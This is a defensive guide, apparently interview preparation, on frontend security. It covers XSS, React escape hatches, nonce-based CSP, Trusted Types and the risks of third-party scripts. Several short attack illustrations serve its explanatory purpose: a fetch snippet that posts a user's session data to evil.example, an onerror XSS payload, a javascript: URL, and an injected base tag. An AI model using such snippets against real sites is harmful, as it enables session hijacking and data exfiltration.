Frontend security: XSS, CSP, and third-party scripts
What it is
Frontend security is the set of controls that stop attacker-controlled data from becoming attacker-controlled code in your users' browsers. Three layers, and they are defence in depth rather than alternatives:
1. Do not create the sink escape output, avoid innerHTML, validate
URL schemes. Framework-level.
2. Content Security Policy even if a sink exists, the injected script
does not execute. Browser-level.
3. Isolate what you cannot third-party scripts run with your origin's
audit full privileges unless you contain them.
Cross-site scripting is the execution of attacker-supplied script in your origin. Once it runs,
it has everything your JavaScript has: document.cookie (unless HttpOnly), localStorage,
in-memory tokens, the ability to make same-origin requests with the user's session, and the ability
to rewrite the page.
What this is confused with: "React escapes everything, so we do not have XSS." React escapes
values interpolated as text and as most attribute values. It does not protect
dangerouslySetInnerHTML, it does not stop a javascript: URL in an href, it does not cover
direct DOM manipulation in effects or refs, and it does nothing about the third-party scripts you
loaded on the same page.
Also confused: CSP as an XSS fix. CSP is a mitigation that limits the damage when a sink exists. A policy built on host allowlists is usually bypassable, and a policy is worthless against a script that is already legitimately on the page.
The problem it solves
The browser has no way to distinguish your script from an attacker's script in the same document. Same-origin policy protects you from other origins; it does nothing once code is running inside yours.
Attacker gets one line of JS into your page:
fetch('/api/me', {credentials:'include'})
.then(r => r.json())
.then(d => fetch('https://evil.example/x', {method:'POST', body: JSON.stringify(d)}))
That request carries the user's session cookie, passes CSRF checks
(it is same-origin), and is indistinguishable from your own code.
HttpOnly cookies do not help: the script does not need to READ the
cookie, it just needs the browser to SEND it.
That last point is the one people miss. HttpOnly stops token exfiltration. It does not stop an
XSS from acting as the user for as long as the page is open. XSS defeats CSRF tokens, defeats
SameSite, and defeats most session hardening, because it operates from inside the trusted
context.
And the same reasoning applies to every third-party script you include, which is why a compromised analytics vendor is an XSS you did not have to be exploited to get.
Mechanics
The three XSS classes, and where they land in a React app
Stored. Attacker data is persisted and served to other users. A comment body, a display name, a support ticket. Highest severity because it hits every viewer.
Reflected. Attacker data is in the request and echoed into the response. A search term rendered
into an error message, an OAuth state echoed back. Needs a lure (a link), so it is one click away.
DOM-based. No server involvement: client code reads an attacker-controlled source and writes it to a dangerous sink.
SOURCES SINKS
location.href / .hash / .search innerHTML, outerHTML
document.referrer document.write
postMessage event.data eval, new Function, setTimeout(string)
window.name element.setAttribute('href'|'src', ...)
localStorage (if attacker-set) <a href>, <iframe src>, <form action>
jQuery $(html), Element.insertAdjacentHTML
DOM XSS is the dominant class in single-page applications and it is the one server-side scanners miss entirely, because the vulnerable data flow never touches the server.
What React does and does not escape
// SAFE: React escapes text children and attribute values.
<div>{userInput}</div>
<div title={userInput} />
// "<img src=x onerror=alert(1)>" renders as literal text.
// NOT SAFE: the explicit escape hatch. Named to make review notice it.
<div dangerouslySetInnerHTML={{ __html: userHtml }} />
// NOT SAFE: URL schemes. React escapes the STRING, it does not
// validate the PROTOCOL.
<a href={userUrl}>click</a> // userUrl = "javascript:fetch(...)"
<iframe src={userUrl} />
<form action={userUrl} />
// NOT SAFE: anything bypassing React.
useEffect(() => { ref.current.innerHTML = userHtml }, [userHtml])
// NOT SAFE: spreading attacker-influenced props.
<div {...propsFromApi} /> // can inject dangerouslySetInnerHTML
React has warned about javascript: URLs in DOM attributes since 16.9, and a warning is not a
control. Validate the scheme explicitly:
const SAFE = new Set(['http:', 'https:', 'mailto:', 'tel:'])
export function safeUrl(input: string, fallback = '#'): string {
try {
// Resolve against the current origin so relative URLs work and
// protocol-relative "//evil.example" is normalised before checking.
const u = new URL(input, window.location.origin)
return SAFE.has(u.protocol) ? u.href : fallback
} catch {
return fallback
}
}
When you must render HTML (a CMS body, user-authored rich text), sanitise with a maintained library rather than a regex:
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p','b','i','em','strong','a','ul','ol','li','code','pre','h2','h3','br'],
ALLOWED_ATTR: ['href','title'],
// Block javascript:, data: and other scheme tricks in href/src.
ALLOWED_URI_REGEXP: /^(?:https?|mailto|tel):/i,
})
Sanitise on output, in the browser, not once on input. Sanitising on input means a later parser change or a second render path silently reintroduces the hole, and it destroys the original data. Allowlist tags and attributes; a denylist is a losing game against mutation XSS.
Content Security Policy, done properly
The allowlist approach mostly does not work. Google's large-scale study of deployed policies ("CSP Is Dead, Long Live CSP!", Weichselbaum et al., CCS 2016) found the overwhelming majority of host-allowlist policies were bypassable, typically because an allowlisted CDN also hosted a JSONP endpoint or an old vulnerable library.
The policy that works is nonce-based with strict-dynamic:
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
report-uri /csp-report
Reading it:
'nonce-{RANDOM}' a fresh, unguessable value per RESPONSE. Only
<script nonce="{RANDOM}"> executes.
'strict-dynamic' a script that already executed may load further
scripts. This is what makes bundlers and tag
managers work without host allowlisting, and it
causes browsers that support it to IGNORE the
host allowlist.
https: 'unsafe-inline' fallbacks for browsers that do not support
nonces or strict-dynamic. Ignored by browsers
that do. They are not weakening the modern policy.
object-src 'none' plugins are a classic bypass vector.
base-uri 'none' without it, an injected <base href="//evil"> hijacks
every relative script URL on the page.
base-uri 'none' is the directive people leave out and it defeats an entire bypass class, since
an attacker who can inject a single <base> tag redirects all relative script sources.
The nonce must be generated per response and be unpredictable:
// Express, per request. NOT per build, NOT per session.
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString('base64')
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${res.locals.nonce}' 'strict-dynamic' https: 'unsafe-inline'; ` +
`object-src 'none'; base-uri 'none'`)
next()
})
A nonce on a cached HTML page is not a nonce. Static or CDN-cached HTML cannot carry one, which
is why fully static pages usually use hashes ('sha256-...') for their known inline scripts instead.
Roll out with Content-Security-Policy-Report-Only first, collect violations for a couple of
weeks, fix the legitimate ones, then enforce. Going straight to enforcement breaks production.
Trusted Types: turning DOM XSS into a type error
require-trusted-types-for 'script'
With this, DOM sinks (innerHTML, outerHTML, document.write, eval, script src) throw unless
given a TrustedHTML/TrustedScript object produced by a registered policy.
const policy = trustedTypes.createPolicy('app-sanitizer', {
createHTML: (s) => DOMPurify.sanitize(s, { RETURN_TRUSTED_TYPE: false }),
})
el.innerHTML = policy.createHTML(userHtml) // the ONLY way to write HTML
This converts "audit every sink forever" into "audit the small number of policies." It is the strongest available DOM XSS control. Browser support is the caveat: Chromium-based browsers enforce it, and it degrades to no protection elsewhere, so it is a strong additional layer rather than a replacement for sanitising.
Third-party scripts: the risk nobody models
A <script src="https://vendor.example/tag.js"> runs with your origin's full privileges. It can
read your DOM, your localStorage, and make same-origin authenticated requests. You have
outsourced a code review to a company you do not control, and the script changes without notice.
Documented consequences:
British Airways, 2018 (Magecart). Attackers modified a script served
by BA's own site; the payment page skimmed card details for roughly
two weeks. The ICO's final penalty was £20 million (reduced from a
£183 million notice of intent).
Ticketmaster UK, 2018. A third-party chatbot script from supplier
Inbenta was compromised; the malicious version was served on the
payments page. The ICO fined Ticketmaster £1.25 million.
In both cases the first-party application had no vulnerability. The
script was legitimate, loaded on purpose, and then changed.
The controls, in order of strength:
1. DO NOT LOAD IT on sensitive pages. A checkout page does not need
a session-replay tool. This is the only control that fully works.
2. Sandbox it. Run the script in a cross-origin iframe with a narrow
postMessage contract, or in a web worker (Partytown does this for
analytics tags). It then cannot touch your DOM or your storage.
3. Subresource Integrity for pinned versions:
<script src="https://cdn.example/lib@1.2.3/lib.js"
integrity="sha384-<base64 of the SHA-384 digest of that exact file>"
crossorigin="anonymous"></script>
The browser refuses to execute if the hash does not match.
LIMITATION: it only works for content that never changes, which
rules out most analytics and tag-manager scripts, which is
precisely the category that gets compromised.
4. CSP as a damage limiter. It cannot stop an allowlisted script from
misbehaving, but connect-src can stop exfiltration to an unknown
host:
connect-src 'self' https://api.yourco.com https://vendor.example
A skimmer that POSTs to evil.example is blocked, and the violation
report tells you.
5. Inventory and review. Know every script on every page, who owns
it, and what it is for. Most teams cannot produce this list, which
is itself the finding.
connect-src is the underrated one, because it is the control that turns a successful
compromise into a blocked request plus an alert.
Token storage, briefly
localStorage readable by any script in the origin. One XSS =
token theft that outlives the page.
HttpOnly cookie not readable by script, but automatically SENT, so an
XSS can still act as the user while the page is open.
Needs SameSite=Lax|Strict and CSRF protection for
state-changing requests.
in-memory lost on refresh, so it needs a refresh flow, and it is
still readable by script in the same context.
The position: HttpOnly; Secure; SameSite=Lax cookies for session tokens, because they remove
the persistent-theft case, and accept that no storage choice survives XSS. Storage choice is a
blast-radius decision, not an XSS defence.
A worked example: a CSP rollout that found a skimmer path
A retail site: server-rendered product pages, a React checkout, Google Tag Manager, a session-replay tool, a chat widget, and an A/B testing script.
Starting state:
CSP: none.
Third-party scripts on the checkout page: 6 (GTM, which itself loaded
4 more tags at runtime, session replay, chat, A/B testing).
Effective count of distinct origins executing script on the payments
page: 11.
Nobody could name all 11 without opening devtools.
Phase 1: inventory and report-only, two weeks.
Deployed:
Content-Security-Policy-Report-Only:
script-src 'nonce-{r}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none'; base-uri 'none';
connect-src 'self' https://api.retail.example;
report-uri /csp-report
Violations collected in 14 days: 47,000, collapsing to 23 distinct
(source, blocked-uri) pairs.
Of the 23:
11 legitimate third-party script loads -> add to connect-src
6 legitimate XHR/beacon destinations -> add to connect-src
4 inline scripts in server templates -> add the nonce
1 an inline event handler (onclick=) in a
legacy template -> refactor
1 a script injected by a BROWSER EXTENSION -> ignore (noise)
The finding was in the connect-src violations. One of the 6 XHR destinations was a host nobody recognised:
blocked-uri: https://cdn-metrics-static[.]example/collect
source-file: the A/B testing vendor's script
It was a legitimate sub-vendor of the A/B testing product, undisclosed in the contract and unknown to the team. No compromise, no incident. But it was a script on the payments page POSTing to a host the company had never heard of, which is precisely the shape a skimmer takes, and the only reason anyone found out was that report-only CSP enumerated the egress.
"Which hosts can code on our payment page send data to?"
Before the rollout, the honest answer was "we do not know."
After, it was a list of 7, each with an owner.
Phase 2: reduce, then enforce.
Decisions taken on the checkout route specifically:
- session replay: REMOVED from checkout (kept elsewhere). It was
recording a page with card fields, and its masking configuration
was the only thing between it and PCI scope.
- A/B testing: REMOVED from checkout. No experiments ran there.
- chat widget: moved to a sandboxed cross-origin iframe with a
postMessage contract; it no longer has DOM access.
- GTM: kept, restricted by a server-side container so runtime tag
loading is reviewed rather than self-service.
Distinct script origins on the payments page: 11 -> 3.
Then enforcement, plus Trusted Types in report-only, which surfaced two DOM sinks:
1. A legacy `el.innerHTML = tpl(data)` in the address-autocomplete
widget, where `data` came from a third-party address API. Not
attacker-controlled today, and one vendor compromise away from
being a DOM XSS. Replaced with textContent plus element creation.
2. A `document.write` in an old print-receipt path. Deleted.
Measured effect:
before after
script origins (checkout) 11 3
CSP none enforced, nonce + strict-dynamic
known egress hosts unknown 7, each owned
DOM sinks in app code 2 0
p75 checkout LCP 2,900ms 2,100ms
The LCP improvement was not the goal and was the largest number in the write-up, because removing two blocking third-party scripts from the critical path did more for performance than the previous quarter's performance work. That is worth knowing as an argument: third-party script reduction is a security project that reports as a performance win, which is how it gets prioritised.
Production evidence
Google deploys nonce-based CSP with strict-dynamic and Trusted Types across its products, and
published the research behind it: Weichselbaum, Spagnuolo, Lekies and Janc, "CSP Is Dead, Long Live
CSP! On the Insecurity of Whitelists and the Future of Content Security Policy" (CCS 2016), which
measured deployed policies at scale and found host allowlists overwhelmingly bypassable.
The British Airways breach (2018) is the canonical Magecart case: attackers modified a script served from BA's own infrastructure and skimmed payment details for roughly two weeks. The UK ICO issued a final penalty of £20 million, reduced from a £183 million notice of intent.
The Ticketmaster UK breach (2018) is the third-party case: a compromised chatbot script from supplier Inbenta ran on the payments page. The ICO fined Ticketmaster £1.25 million, and the decision turned partly on the absence of controls over third-party scripts on a payment page.
Trusted Types is specified by the W3C and enforced in Chromium-based browsers, and Google has documented its use to eliminate DOM XSS across large applications by reducing the audit surface from every sink to a small number of policies.
Subresource Integrity is a W3C recommendation; its documented limitation, that it only applies to resources whose bytes are fixed, is why it does not cover tag managers and analytics.
Partytown (from the Builder.io team) relocates third-party scripts into a web worker, and is the most widely used implementation of the "isolate what you cannot audit" control.
The debate
Is CSP worth the operational cost? Yes, and the cost is real: a nonce needs a dynamic response,
which conflicts with fully static HTML, and every new third-party integration needs a policy change.
The position: nonce plus strict-dynamic, rolled out in report-only first, with object-src 'none' and base-uri 'none' from day one. A host-allowlist CSP is worse than none, because it
creates the belief that you are protected.
Is sanitising enough without CSP? No, because sanitising is a property of every code path forever and CSP is a property of the response. The counter-argument, that CSP breaks things and sanitising does not, is honest, and the answer is report-only mode, which has no user impact and produces the egress inventory as a side benefit.
Should tokens go in localStorage or cookies? HttpOnly; Secure; SameSite=Lax cookies, because
they remove persistent theft. The counter-argument for localStorage (simpler for a
cross-origin API, no CSRF concerns) is real and the resolution is usually a same-site API path or a
token-exchange endpoint. What is not true is that either choice defends against XSS: an XSS acts
as the user either way.
Is Subresource Integrity useful? For pinned library versions, yes, and it is nearly free. For the scripts that actually get compromised, tag managers and analytics, it is inapplicable by construction, which is the uncomfortable part: SRI protects the category that is not the problem.
Should you block third-party scripts on sensitive pages? Yes, and it is the only control that fully works. The pushback is organisational, not technical: marketing and analytics own those tags. The argument that lands is the one from the worked example, that you cannot answer "where can code on our payment page send data" without doing this, and both documented Magecart fines turned on exactly that gap.
Is DOM XSS still relevant given modern frameworks? More relevant, not less. Frameworks removed the server-rendered injection class and the remaining bugs concentrate in client-side sinks, which server-side scanners do not see. Trusted Types exists because that is where the residual risk went.
Follow-up Q&A
"React escapes output. Where can XSS still come from?"
Six places. dangerouslySetInnerHTML. URL-valued attributes, because React escapes the string but
does not validate the protocol, so javascript: in an href still executes. Direct DOM writes in
effects or refs (ref.current.innerHTML). Spreading attacker-influenced props, which can smuggle in
dangerouslySetInnerHTML. Server-rendered state serialised into the page, if it is not escaped for
an HTML script context. And every third-party script on the page, which runs with your privileges and
is not subject to React at all.
"Why are host-allowlist CSP policies considered broken?"
Because an allowlisted host usually also serves something that lets an attacker execute arbitrary
code: a JSONP endpoint, an old version of a library with a known gadget, or user-uploaded content on
the same CDN. Google's CCS 2016 measurement of real deployed policies found the large majority
bypassable for exactly this reason. The replacement is a per-response nonce plus strict-dynamic,
which stops relying on where a script came from and starts relying on whether you put it there.
"What does strict-dynamic do, and why is 'unsafe-inline' still in the recommended policy?"
strict-dynamic propagates trust: a script that executed because it had the right nonce may load
further scripts, which is what makes bundlers and tag managers work without allowlisting hosts.
Browsers that understand it ignore the host allowlist and 'unsafe-inline' entirely, so those tokens
are present purely as fallbacks for older browsers. They do not weaken the policy in browsers that
support nonces.
"What is base-uri 'none' protecting against?"
An injected <base href="https://evil.example/"> tag, which changes how every relative URL on the
page resolves, including relative script sources. Without the directive, a single injected tag can
redirect all your relative scripts to an attacker's origin, which bypasses a policy that only
constrains script-src by host. It is one line and it closes a whole bypass class, which is why its
absence is a review finding.
"How do you reduce third-party script risk on a payments page?"
In order: do not load them there at all, which is the only complete control; sandbox what must be
present into a cross-origin iframe or a web worker so it has no DOM or storage access; pin and
integrity-check anything whose bytes are fixed; and use connect-src so a compromised script cannot
exfiltrate to an unknown host and its attempt generates a violation report. Then maintain an
inventory with an owner per script, because most teams cannot produce that list, and both documented
Magecart fines turned on that gap.
"What does Trusted Types change?"
It makes DOM sinks throw unless given a value produced by a registered policy, so DOM XSS becomes a
runtime type error rather than a silent execution. The practical effect is on audit scope: instead of
reviewing every use of innerHTML in the codebase forever, you review the two or three policies. It
is enforced in Chromium-based browsers and absent elsewhere, so it is a strong extra layer rather
than a replacement for sanitising.
"If we use HttpOnly cookies, are we safe from XSS?"
No. HttpOnly prevents the script from reading the cookie, which prevents persistent token theft.
It does not stop the browser from attaching the cookie to same-origin requests the injected script
makes, so the attacker can act as the user for as long as the page is open, and same-origin requests
pass CSRF checks by construction. Storage choice bounds the blast radius; it is not a defence.
Common misconceptions
"React prevents XSS." It escapes text and most attributes. It does not cover
dangerouslySetInnerHTML, URL schemes, direct DOM writes, prop spreading, or third-party scripts.
"CSP fixes XSS." It limits the damage when a sink exists, and only if it is nonce-based. A host-allowlist policy is usually bypassable and creates false confidence.
"HttpOnly cookies make XSS harmless." They prevent token theft. The script still acts as the
user for the life of the page.
"We sanitise on input, so we are fine." Output-time sanitising is what matters, because a second render path or a parser change reintroduces the hole, and input sanitising destroys the original data.
"SRI protects our third-party scripts." Only those whose bytes never change. Tag managers and analytics, the category that actually gets compromised, cannot use it.
"DOM XSS is a legacy problem." It is the dominant class in SPAs and the one server-side scanners cannot see, which is why Trusted Types was specified.
Interview delivery note
Say this verbatim: "Host-allowlist CSP is mostly bypassable, because an allowlisted CDN usually
also hosts a JSONP endpoint or an old library. The policy that works is a per-response nonce plus
strict-dynamic, with object-src 'none' and base-uri 'none', rolled out in report-only first."
It is a specific, current position where most candidates give a generic one.
The senior-versus-staff separator is treating connect-src as an egress inventory. A senior
engineer describes CSP as blocking script injection. A staff engineer points out that the report-only
rollout answers a question nobody could otherwise answer, which hosts code on our payment page can
send data to, and that in practice this surfaces undisclosed sub-vendors of your existing vendors. It
reframes a security control as an observability tool, and it is how the project gets funded.
The second signal is knowing that HttpOnly bounds blast radius rather than defending against
XSS, because an injected script does not need to read the cookie, only to make a request the
browser will attach it to. Candidates who say "we use HttpOnly, so XSS is not a concern" have
inverted the threat model.
Further reading
- Weichselbaum, Spagnuolo, Lekies and Janc, "CSP Is Dead, Long Live CSP!" (ACM CCS 2016), for the
measurement behind nonce plus
strict-dynamic. - W3C Trusted Types specification, and Google's write-ups on using it to eliminate DOM XSS at scale.
- The UK ICO's penalty notices for British Airways (2018) and Ticketmaster UK (2018), for what regulators concluded about third-party scripts on payment pages.
- OWASP's DOM-based XSS Prevention Cheat Sheet, for the current source and sink taxonomy.
- DOMPurify's documentation on allowlist configuration and mutation XSS.